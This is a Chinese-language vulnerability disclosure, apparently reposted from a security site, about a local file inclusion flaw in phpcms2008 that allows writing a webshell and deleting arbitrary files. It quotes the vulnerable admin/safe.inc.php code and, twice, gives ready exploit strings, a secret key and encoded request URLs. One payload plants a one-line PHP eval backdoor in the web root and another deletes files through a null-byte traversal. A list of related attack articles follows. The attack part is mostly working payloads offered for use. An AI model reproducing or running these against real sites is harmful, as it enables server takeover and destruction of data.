Phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞

所属分类: 网络安全 / 脚本攻防 阅读数: 259
收藏 0 赞 0 分享

发布日期:2011-05.04
发布作者:c4rp3nt3r

影响版本:phpcms2008 sp2 or sp4
官方地址:http://www.phpcms.cn

漏洞类型:文件包含
漏洞描述:phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。

公布一个本地包含秒杀拿shell的方法。

包含:admin/safe.inc.php文件GET提交一下数据
将在根目录下生成一句话
用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';
加密如下字符串

$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';
 

  http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=


将在根目录下生成一句话木马

同理任意文件删除漏洞:
$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';
http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

参考:Flyh4t [PhpCMS]一个漏洞的二次利用

 

详细说明:

贴上存在漏洞的代码

复制代码
代码如下:

//admin/safe.inc.php
<?php
defined('IN_PHPCMS') or exit('Access Denied');
// include/common.inc.php 里面声明了常量
// define('IN_PHPCMS', TRUE);
if(empty($action)) $action = "start";
$safe = cache_read('safe.php');
$filecheck = load('filecheck.class.php');
if(empty($safe))
{
$safe = array (
'file_type' => 'php|js',
'code' => '',
'func' => 'com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress',
'dir' => $filecheck->checked_dirs()
);
}
switch ($action)
{
...
case 'edit_code':
if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))
{
showmessage('修改成功!');
}
break;
case 'del_file':
$file_path = urldecode($files);
if (empty($file_path))
{
showmessage('请选择文件');
}
$file_list = cache_read('scan_backdoor.php');
unset($file_list[$file_path]);
cache_write('scan_backdoor.php',$file_list);
@unlink(PHPCMS_ROOT.$file_path);
showmessage('文件删除成功!', '?mod=phpcms&file=safe&action=scan_table');
break;
...

漏洞证明:
将在根目录下生成一句话
用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';
加密如下字符串

$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';
 

  http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=


将在根目录下生成一句话木马

同理任意文件删除漏洞:

复制代码
代码如下:

$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';
http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

更多精彩内容其他人还在看

PHP的一个EVAL的利用防范

这篇文章主要为大家介绍下php eval的利用防范,为了安装强烈兼用少用eval函数
收藏 0 赞 0 分享

DedeCMS全版本通杀SQL注入漏洞利用代码及工具2014年2月28日

近日,网友在dedecms中发现了全版本通杀的SQL注入漏洞,目前官方最新版已修复该漏洞,大家早点去官方下载补丁2014年2月28日
收藏 0 赞 0 分享

一些常见的PHP后门原理分析

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果
收藏 0 赞 0 分享

Mysql语法绕过360scan insert防注入方法

其实Mysql不只可以用insert into xxx values 插入数据,还可以:insert into xxx set xx =方法
收藏 0 赞 0 分享

科讯KESION CMS最新版任意文件上传WEBSHELL漏洞

会员上传文件漏洞,可以上传任意后缀,实现任意文件上传WEBSHELL
收藏 0 赞 0 分享

phpcms2008 代码执行 批量getshell EXP(使用菜刀)

这篇文章主要介绍了phpcms2008 代码执行 批量getshell EXP的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

PHP多字节编码漏洞小结

这篇文章主要介绍了PHP多字节编码漏洞小结,需要的朋友可以参考下
收藏 0 赞 0 分享

防范 dedecms 广告内容插入后门

这篇文章主要介绍了防范 dedecms 广告内容插入后门,需要的朋友可以参考下
收藏 0 赞 0 分享

记一次发现利用preg_replace隐藏后门和后续探究

php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然发现这样的恶意代码
收藏 0 赞 0 分享

Linux系统采用netstat命令查看DDOS攻击的方法

这篇文章主要为大家介绍了Linux系统采用netstat命令查看DDOS攻击的方法,对于网络安全而言非常重要!需要的朋友可以参考下
收藏 0 赞 0 分享
查看更多